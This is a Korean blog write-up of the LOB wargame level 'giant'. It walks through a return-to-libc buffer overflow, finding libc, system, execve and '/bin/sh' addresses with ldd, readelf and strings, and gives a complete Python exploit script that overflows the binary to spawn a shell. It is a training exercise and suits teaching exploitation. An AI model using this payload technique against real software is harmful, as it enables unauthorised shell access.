대충 해석해보면
친히 execve의 주소를 구해서 char *ret이 execve의 주소와 같아야 한다는 조건이 있다.
ret에 argv[1][44]부터 4만큼 복사하므로, 내가 인자로 줄 값의 44-47까지의 값이 ret에 복사되는 것이다.
그러므로, 44-47번 값을 execve 함수의 주소로 주면 되겄지
[*] 참고사항
c언어 execve 함수
execve(char *filename, char *const argv[], char *const envp[])
파일이름 파일 인자의 포인터 환경변수의 포인터
☞ filename이 가리키는 파일을 실행한다. 이 파일은 바이너리 실행 파일이거나 스크립트 파일이어야 한다.
argv, envp는 포인터 배열로 filename의 인자로 들어간다.
* 만약 filename에 유효한 문자열이 들어가지 않는다면 끝나버린다.
사용중인 라이브러리 찾는 명령어
ldd [실행파일]
ex. ldd giant
라이브러리 밑에 함수 찾기
readelf -s [라이브러리] | grep [함수명] ☞ offset을 구할 수 있다.
ex. readelf -s /lib/libc.so.6 | grep execve
라이브러리 밑에 문자열 찾기
strings -tx [라이브러리] | grep [스트링] ☞ offset을 구할 수 있다.
ex. strings -tx /lib/libc.so.6 | grep /bin/sh
execve 함수로 익스하려면 {문자열, null} 같은 꼴의 유효한 문자열을 찾아야 한다.
이런 문자열을 찾기 어려우므로, execve를 그냥 죽여버리고 system("/bin/sh")를 이용해 익스하겠다.
위의 명령어로
libc, system, execve, /bin/sh 의 주소를 모두 구할 수 있다.
그럼 익스 구조는
"A"*44 + execve + system + -1(0xffffffff) + /bin/sh
import os
import struct
p32 = lambda x: struct.pack("<I", x)
libc = 0x40018000
system = libc + 0x40ae0
execve = libc + 0x91d48
binsh = libc + 0xe3ff9
payload = "A"*44 + p32(execve) + p32(system) + p32(0xffffffff) + p32(binsh)
filename = './giant'
os.execv(filename, [filename, payload])
참고
https://watchout31337.tistory.com/136
execve() 함수
execve 함수에 대해 알아보자. int execve(const char *filename, char *const argv[], char *const envp[]); 파일이름 파일인자의 포인터 환경변수의 포인터 execve는 filename이 가리키..
watchout31337.tistory.com
C언어 다른 프로그램 실행 함수execve()
C함수 다른 프로그램 실행 execve() 다른 프로그램을 실행하고 자신은 종료합니다. execle() 이나 execve() 처럼 exec 함수 중 e 로 끝나는 함수는 환경변수를 지정할 수 있습니다. 헤더: unistd.h 형태: int ex
badayak.com
[LOB] bugbear -> giant
ls 명령어로 디렉터리를 확인해보니, giant와 giant.c가 있다. cat 명령어로 giant.c를 열어 소스코드를 확인해보자. 이번 문제는 전 문제에 이은 RTL문제이다. 공유 라이브러리의 의존성을 확인할 수 있
d4m0n.tistory.com
'워게임 > LOB' 카테고리의 다른 글
LOB - assassin(semi ROP) (0) | 2021.08.07 |
---|---|
LOB - giant (semi ROP) (0) | 2021.08.07 |
LOB - darkknight(RTL) (0) | 2021.08.05 |
LOB - golem(SFP overflow) (0) | 2021.08.04 |
LOB - skeleton (0) | 2021.08.03 |
댓글